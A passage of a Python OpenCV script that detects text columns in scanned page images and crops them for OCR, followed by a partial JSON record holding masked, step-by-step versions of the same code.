.526, 9: .493} q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0]) print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(sorted_data[-1] - sorted_data[0]))) print("q_exp : " + str(q_exp)) return q_exp > conf95_level[min(9, len(sorted_data))] # static variables for clarity COLUMNS = 0 GREEN = (0, 255, 0) # parameters that can be tweaked LINE_THICKNESS = 3 # how thick to make the line around the found contours in the debug output PADDING = 10 # padding to add around the found possible column to help account for image skew and such CREATE_COLUMN_OUTLINE_IMAGES = True # if we detect that we didn't find all the columns. Create a debug image (tiff) showing the columns that were found def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = (a.size-2)+1 return a[1*np.arange(nrows)[:,None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White | White -> Black """ print("invert image") # Should we edit these parameters? #3/18/21 - experimented on threshold, 140 is good. _,temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print("applying dilation morph") temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) #the more iterations the more the text gets stretched in the Y axis, 15 seems about right. ''' if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) ''' return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis = COLUMNS) sums[0] = 1000 # some random value so that find_peaks properly detects the peak for the left most column sums = sums * -4 # invert so that minimums become maximums and exagerate the data so it is more clear what the peaks are peaks, _ = find_peaks(sums, distance=600) # the column indexs of the img array, spaced at least 800 away from the previous peak sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) ''' qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] ''' print("PeakNum, Sum, QRemove for " + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print("----------") if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print("ERROR: something went wrong with finding the peaks for image: ", os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + ".jpg 0\n") return files peaks[0] = 0 # automatically make the left most column index the start of the image peaks[-1] =sums.size -1 # automatically make the right most column index the end of the image boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print("found image that is causing problems: ", os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + ".jpg " + str(peaks.size) + "\n") columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0]-PADDING, 0) xend = min(columnIndexPair[1]+PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (basename, xstart,xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print("writing out cropped image: ", filepath) # Apply adaptative thresholding to the image with a threshold of 25/100 #crop_img = adaptative_thresholding(crop_img, 25) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed,(xstart,ystart),(xend,yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) # For removing the old image? # os.remove(os.path.join(directory, basename + ".jp2")) return files def invert_experiment(): test_img = cv2.imread('./ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _,temp_img = cv2.threshold(test_img, thresh, 255, cv2.THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh='+str(thresh)+'.jpg', temp_img) def test(img, basename): #h, w, _ = img.shape #test_img = cv2.imread('./ocr/data/8k71pf94q/2_commonwealth_8k71pf94q_accessFull.jpg') test_img = convertToGrayscale(img) #ret,test_img = cv2.threshold(test_img,25,255,0) #cv2.imwrite('./ocr/test_images/contours/'+basename+'prepixelcrop.jpg', test_img) #test_img = test_img[10:h-10, 10: w-10] #y_nonzero, x_nonzero = np.nonzero(test_img) #test_img = test_img[np.min(y_nonzero):np.max(y_nonzero), np.min(x_nonzero):np.max(x_nonzero)] test_img = invert(test_img) test_img = dilateDirection(test_img) #contours,hierarchy = cv2.findContours(test_img,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE) #cnt = contours[0] #x,y,w,h = cv2.boundingRect(cnt) #test_img = cv2.rectangle(img,(10,10),(w-10, h-10), GREEN, LINE_THICKNESS) #test_img = cv2.drawContours(test_img, contours, -1, GREEN, LINE_THICKNESS) #crop = test_img[y:y+h,x:x+w] cv2.imwrite('./ocr/test_images/contours/'+basename+'dilated.jpg', test_img) ''' for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) ''' #cv2.imwrite('./ocr/test_images/inverted.jpg', test_img) if __name__ == "__main__": print("STARTING") for f in os.listdir('./ocr/data/gb19gw39h/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/') for f in os.listdir('./ocr/data/8k71pf94q/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/') for f in os.listdir('./ocr/data/mc87rq85m/'): if f.endswith(".jpg"): #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0]) createColumnImages(cv2.imread(os.path.join('./ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/') ''' data_folder = './ocr/data/' for folder in os.listdir(data_folder): if folder == ".DS_Store": continue for file in os.listdir(os.path.join(data_folder, folder)): if file.endswith(".jpg"): print("calling test() on " + file) #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0]) createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/') for f in os.listdir('./ocr/data/8k71pr786/'): if f.endswith(".jpg"): for d in range(550, 850, 50): createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d) #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/') '''

flexible

{ "blob_id": "91d240b02b9d7a6c569656337521482d57918754", "index": 4333, "step-1": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White | White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\n<mask token>\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White | White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\n<mask token>\n\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = a.size - 2 + 1\n return a[1 * np.arange(nrows)[:, None] + np.arange(2)]\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White | White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\n<mask token>\n", "step-4": "<mask token>\nos.environ['OPENCV_IO_ENABLE_JASPER'] = 'True'\n<mask token>\nDILATE_KERNEL = np.array([[0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0,\n 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0,\n 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0,\n 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype\n =np.uint8)\n\n\ndef adaptative_thresholding(img, threshold):\n I = img\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n orignrows, origncols = gray.shape\n M = int(np.floor(orignrows / 16) + 1)\n N = int(np.floor(origncols / 16) + 1)\n Mextend = round(M / 2) - 1\n Nextend = round(N / 2) - 1\n aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=\n Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M, N), np.int32)\n imageIntegral = cv2.integral(aux, windows, -1)\n nrows, ncols = imageIntegral.shape\n result = np.zeros((orignrows, origncols))\n for i in range(nrows - M):\n for j in range(ncols - N):\n result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N\n ] + imageIntegral[i, j] - imageIntegral[i + M, j]\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n graymult = gray.astype('float64') * M * N\n binar[graymult <= result * (100.0 - threshold) / 100.0] = False\n binar = (255 * binar).astype(np.uint8)\n return binar\n\n\ndef Q_test(sorted_data):\n conf95_level = {(3): 0.97, (4): 0.829, (5): 0.71, (6): 0.625, (7): \n 0.568, (8): 0.526, (9): 0.493}\n q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] -\n sorted_data[0])\n print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(\n sorted_data[-1] - sorted_data[0])))\n print('q_exp : ' + str(q_exp))\n return q_exp > conf95_level[min(9, len(sorted_data))]\n\n\nCOLUMNS = 0\nGREEN = 0, 255, 0\nLINE_THICKNESS = 3\nPADDING = 10\nCREATE_COLUMN_OUTLINE_IMAGES = True\n\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = a.size - 2 + 1\n return a[1 * np.arange(nrows)[:, None] + np.arange(2)]\n\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return temp_img\n\n\ndef invert(img):\n \"\"\" Black -> White | White -> Black \"\"\"\n print('invert image')\n _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print('applying dilation morph')\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15)\n \"\"\"\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n \"\"\"\n return temp_img\n\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 